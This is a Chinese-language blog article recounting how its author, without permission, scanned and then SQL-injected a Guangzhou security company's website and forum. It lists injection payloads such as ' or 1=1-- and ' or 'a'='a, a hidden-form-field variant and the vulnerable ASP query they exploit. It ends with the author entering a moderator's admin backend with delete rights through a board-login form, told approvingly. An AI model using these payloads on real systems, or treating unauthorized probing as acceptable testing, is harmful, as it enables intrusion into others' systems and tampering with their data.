筆者一直都有經常性地到一些安全方面的網站瞎逛的習慣的,最近因為一次機緣巧合之下通過鏈接來到廣州某個頗有名氣的網絡安全公司的網站。說實在的,這個網站好象挺多元化的,提供軟件下載之余,還有自己的論壇(嘿嘿,5自學網,界面做得還真不賴嘛,不知道安全性如何呢?)。出於對其安全操守的好奇,小神決定義務為其做個的初步的“安全滲透測試”。開始時只是拿一些綜合性的網絡漏洞掃描工具(X-scan3.0、Nmap、Retina等等)進行信息掃描,然後做個結果篩選,結果只查到對方開了TCP80端口(也就是說他們的服務器只提供了正常的HTTP服務),且無任何典型的漏洞....沒戲了,對方畢竟還是一間有些知名度的企業嘛(因為這篇文章的重點並不在此,所以用網絡漏洞掃描器作信息掃描這個步驟我就不在這裡多作說明了)。就這樣放棄了嗎?沒那麼容易...恰好小神最近在整理SQL Injection(SQL注入攻擊)方面的資料,既然現在有機會就再“勉為其難”地幫它測試一下吧:P首先是下載系統,隨便抽一個工具的下載地址:該安全公司的網址/某目錄/download/open.asp?id=3444------------------------------------------------------------------------------------------附錄:這裡筆者用中文代替了某些敏感信息,還請各位見諒哦。------------------------------------------------------------------------------------------該安全公司的網址/某目錄/download/open.asp?id=3444'先測試一下對方有沒有過濾'(單引號)...------------------------------------------------------------------------------------------提示:問:如何確認一個網站有SQL注入缺陷呢?答:首先先加入某些特殊的字符標記,輸入如:hi' or 1=1--尋找一些登陸頁面,在其登陸ID與密碼輸入處,或URL中輸入:- Login: hi' or 1=1--- Pass: hi' or 1=1--- ?id=hi' or 1=1--如果想以‘隱藏’的方式進行此類測試,你可以把該HTML網頁從網站上下載至本地硬盤,修改其隱藏部分的值,如:〈FORM action=http://duck/Search/search.asp method=post〉〈input type=hidden name=A value="hi' or 1=1--"〉〈/FORM〉如果閣下是幸運的話估計現在已經可以不需要帳號與密碼而‘成功登陸’了。------------------------------------------------------------------------------------------再試試下面的url,自學教程,看看能否返回正常的頁面...該安全公司的網址/某目錄/download/open.asp?id=3444"http://該安全公司的網址/某目錄/download/open.asp?id=3444' or 1=1--該安全公司的網址/某目錄/download/open.asp?id=3444" or 1=1--該安全公司的網址/某目錄/download/open.asp?id=3444' or 'a'='a該安全公司的網址/某目錄/download/open.asp?id=3444" or "a"="a------------------------------------------------------------------------------------------提示:問:為什麼要特意使用' or 1=1--來做測試呢?答:讓我們來看看其他例子中使用'or 1=1--的重要性吧。有別於正常的登陸方式,使用這樣的登陸方式可能可以得到正常登陸中不能得到的某些特殊信息。用一個鏈接中得到的ASP頁來打比方:?category=food在上面這條URL中,'category'是一個變量名,而'food'是賦予該變量的值。為了做到這些(鏈接成功),這個ASP必須包含以下相關的代碼(下面也是我們為了演示這個實驗所寫的代碼):v_cat = request("category")sqlstr="SELECT * FROM product WHERE PCategory='" & v_cat & "'"set rs=conn.execute(sqlstr)正如我們所看到的,變量值將會預先處理然後賦值於'v_cat',也就是說該SQL語句將會變為:SELECT * FROM product WHERE PCategory='food'這個請求將會返回通過WHERE條件比較後得到的結果,在這個例子中也就是'food'了。現在設想一下如果我們把該URL改成這樣的話:?category=food' or 1=1--現在我們的變量v_cat的值就等同於"food' or 1=1--"了,現在如果我們要重新代入那條SQL請求的話,那條SQL請求將會是:SELECT * FROM product WHERE PCategory='food' or 1=1--'現在這個請求將會從product表中選取每一條信息而並不會去理會PCategory是否等於'food'。至於結尾部分的那兩條'--'(破折號)則用於‘告訴’MS SQL SERVER忽略結尾最後的那個'(單引號)。有的時候也可以使用'#'(井號)來代替'--'(雙破折號)在這裡的用法。無論如何,如果對方不是一台SQL服務器(這裡指的是MS SQL SERVER),或者你不能使用簡單的方法去忽略最後的那個單引號的話,你可以嘗試:' or 'a'='a這樣的話整個SQL請求將會變為:SELECT * FROM product WHERE PCategory='food' or 'a'='a'它也會返回相同的結果。根據實際情況,SQL注入請求是可以有多種動態變化的可能性的:' or 1=1--" or 1=1--or 1=1--' or 'a'='a" or "a"="a') or ('a'='a------------------------------------------------------------------------------------------都是返回“HTTP 500 - 內部服務器錯誤”,看來是又失敗了,不怕,我們還有希望...此時的希望只能全部寄托在論壇上了...(下圖)
(點擊查看原圖)
循序漸進,首先找來一條帖子的url(這一步筆者挑了:該安全公司的網址/論壇目錄/list.asp?ltid=14這條URL)重復剛剛的行為:該安全公司的網址/論壇目錄/list.asp?ltid=14'http://該安全公司的網址/論壇目錄/list.asp?ltid=14"http://該安全公司的網址/論壇目錄/list.asp?ltid=14' or 1=1--該安全公司的網址/論壇目錄/list.asp?ltid=14" or 1=1--該安全公司的網址/論壇目錄/list.asp?ltid=14' or 'a'='a該安全公司的網址/論壇目錄/list.asp?ltid=14" or "a"="a不過看來還是在吃白果...(如下圖所示)(點擊查看原圖)
除了地址欄,不要忘了還有論壇首頁的登陸框:在“用戶名:”區域中輸入:網***' or 1=1--然後在“密碼:”區域中隨便輸入幾個密碼看看吧:P(得到下圖)------------------------------------------------------------------------------------------附錄:“網***”為我們在論壇首頁中看到的那個版主帳號。------------------------------------------------------------------------------------------(點擊查看原圖)
還是不行,試試在密碼區域進行注入攻擊吧...具體操作:在“用戶名:”中輸入:“網***”然後在“密碼:”中輸入:' or 1=1--(提交後得到下圖)(點擊查看原圖)
fail...再用:' or 1=1--" or 1=1--or 1=1--' or 'a'='a" or "a"="a切換了幾次,還是不行,看來真的是“堅不可摧”了...“風繼續吹,不忍遠離...”小神的MP3裡哼著‘哥哥’張國榮的歌,難道就這樣離開嗎?到論壇的首頁裡再逛一圈吧....一掃眼,還真道靈光,注意一下論壇登陸區域上方的小鏈接,看到了吧?第三條鏈接是什麼呢?單擊後跳出如下圖所示的登陸窗口:首先在“論壇:”這一攔選中相應的版面(這裡筆者挑了第一個版面“安全工具”),然後再重新嘗試一下:帳號: 網***' or 1=1--密碼: 任意密碼不行,再試試:帳號: 網***密碼: ' or 1=1--............小神的手顫了一下,只因“有顏色的界面”出來了:開始時以為是假象,連忙點擊“進入後台>>>”...
這次看來是真的了,點擊其中一條帖子再測試一下:
(看到了吧?有“刪除”按鈕了也...其實我們可以做的還不只這些...PS:小神可是個好孩子哦^_^)寫到這裡,也算是有個交代了吧?!^@@^整篇文章的主旨也不過就是介紹了如何簡單地利用SQL注入攻擊滲透論壇吧,其實現在再談SQL注入也是老生常談了,但想不到連知名的網絡安全公司也有這樣的漏洞,歸根結底就是人們對安全意識的不重視而引起的,這篇文章告訴了我們:不要忽視運作中的一些小細節。若想了解更多SQL注入技巧的相關信息歡迎登陸筆者的網站或email:[email protected]與我聯系吧:)。